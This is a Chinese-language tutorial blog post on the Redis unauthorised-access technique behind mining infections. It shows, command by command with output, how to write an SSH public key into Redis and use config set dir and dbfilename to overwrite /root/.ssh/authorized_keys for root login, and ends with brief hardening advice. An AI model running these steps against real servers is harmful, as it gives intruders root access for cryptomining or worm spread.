一起來聊一聊Redis挖礦原理(實例詳解)

本篇文章給大家打來了關于redis挖礦原理的相關知識,下面就來演示一下如何通過redis進行提權獲取遠程服務器的root用戶,并且如何防護,希望對大家有幫助。

一起來聊一聊Redis挖礦原理(實例詳解)

推薦學習:redis

今天我們就演示一下如果通過redis進行提權獲取遠程服務器的Root用戶。

1、首先我們需要一些先決條件

  • 條件一:你首先要有一個Redis,并且我們要知道他的端口【默認6379】;

  • 條件二:Redis的密碼不能過于復雜,或者沒有密碼;

  • 條件三:啟動Redis的用戶最好是Root用戶,這樣破壞性更大;

2、開始搞事情

  • 2.1 創(chuàng)建一對秘鑰

通過ssh-keygen生成一對,當然可以使用已經有的都沒有問題。

root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa

接下來通過公鑰生成攻擊鍵值

(echo -e "nn"; cat id_rsa.pub; echo -e "nn";) > foo.txt

內容如下

root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

這里前后增加兩個換行符是為了防止數據連接在一起造成失效問題。

  • 2.2 配置Key到Redis中

操作如下:

root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OK

登錄Redis進行檢查,是否已經寫入進Redis中。

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kalinnnn"
  • 2.3 通過Redis保存機制替換系統(tǒng)文件

且看如下操作

192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit

這個時候,我們登錄遠程主機看下效果。

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64  Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~#

OK,到這里我們已經提權成功了,那我們看下導出文件到底是什么呢?其實就是Redis的保存文件形式罷了,有興趣可以自己打開看看,這里不再展示。

3、如何預防

這個漏洞威力還是挺大的,我們現(xiàn)在只是拿到主機權限一個而已,加入放到定時任務執(zhí)行一些腳本然后在批量感染呢?

防范的技巧如下:

  • Redis不要監(jiān)聽在危險IP上,如果有請加防火墻控制

  • Redis一定要增加密碼限制,且不能是弱口令;

  • Redis盡量不要用Root用戶身份來啟動。

做到如上三點防范Redis挖礦,沒問題的

推薦學習:redis

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享